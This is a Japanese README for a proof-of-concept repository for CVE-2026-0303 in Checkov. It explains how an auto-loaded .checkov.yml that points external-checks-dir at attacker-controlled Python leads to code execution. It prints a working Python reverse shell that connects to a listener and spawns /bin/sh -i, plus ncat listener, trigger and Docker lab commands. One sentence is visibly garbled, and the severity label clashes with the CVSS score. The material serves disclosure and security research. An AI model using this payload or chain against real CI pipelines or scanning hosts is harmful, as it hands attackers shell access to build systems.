CVE: CVE-2026-0303 | CVSS 基本値: 6.3 | 深刻度: 低
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:H/SI:H/SA:H
CVE-2026-0303 - Checkov における任意コード実行の脆弱性。
2026年9月9日に Palo Alto Networks により公開。
影響を受けるバージョン: Checkov 3.2.0 から 3.2.531
修正バージョン: Checkov 3.2.532
自動読み込みされる .checkov.yml ファイルを介した Checkov における任意コード実行
-> 署名されていない外部カスタムチェックを通じた攻撃者制御の Python の実行。
https://github.com/user-attachments/assets/62af16bb-5b7f-4465-98b9-2d1836f5ee4f
Checkov は外部 Python チェックをサポートしています。これらのチェックは意図的に Python モジュールとして読み込まれるため、モジュールのインポート時にトップレベルの Python ステートメントが実行されます。
Checkov がディレクトリをスキャンすると、そのディレクトリ内の .checkov.yml または
.checkov.yaml 設定ファイルを自動的に検索します。攻撃者が制御する設定ファイルが
をスキャン対象リポジトリ内のディレクトリに設定する可能性があります。
external-checks-dirこれにより、以下の実行チェーンが成立します:
被害者が信頼できないリポジトリをスキャンする
->
Checkov が .checkov.yml を自動的に読み込む
->
設定が external-checks-dir を指定する
->
Checkov が攻撃者制御の Python モジュールをインポートする
->
トップレベルの Python コードが Checkov の権限で実行される
攻撃者は Terraform パーサーを悪用したり、有効な Checkov ポリシーを提供したりする 必要はありません。コード実行は Checkov が Python ファイルをインポートする時点で 発生します。
これは、プルリクエストやその他の信頼できないリポジトリの内容に対して Checkov を 自動的に実行する CI パイプラインに特に関係します。
ラボのペイロードは、Checkov コンテナからホスト上のリスナーに接続します:
def exploit():
lhost = "host.docker.internal"
lport = 4545
sock = socket.create_connection((lhost, lport))
for file_descriptor in (0, 1, 2):
os.dup2(sock.fileno(), file_descriptor)
subprocess.call(["/bin/sh", "-i"])
exploit()
exploit\external-checks\poc_check.py のペイロードを変更します:
lhost = "127.0.0.1"
lport = 4444
ホスト上でリスナーを起動します:
ncat -lvkp 4444
攻撃者制御のディレクトリをスキャンして脆弱な動作をトリガーします:
checkov -d /workspace --framework terraform --skip-download
Checkov は /workspace/.checkov.yml を自動的に読み込み、外部チェックディレクトリを
検出し、poc_check.py をインポートします。モジュールレベルの exploit() 呼び出しが
実行されると、リスナーがシェルを受信するはずです。
以下でセットアップできるシンプルな Docker ラボを提供しています
docker compose up -d
そして、以下のコマンドでそのシェルに接続できます
docker exec -it scan-server /bin/sh
このリポジトリには、CVE-2026-0303 の独立した概念実証が含まれています。 この脆弱性は、隔離された実験環境で再現およびテストされました。
このプロジェクトは、認可されたセキュリティ研究、教育、および隔離された環境での テストのみを目的としています。所有者からの明示的な許可なく、システム、ネットワーク、 リポジトリ、またはデータに対して使用しないでください。
著者はこのプロジェクトを現状のまま提供し、いかなる種類の保証も行いません。また、 このソフトウェアまたはその派生物の損害、データ損失、サービス中断、不正アクセス、 または誤用に対して一切の責任を負いません。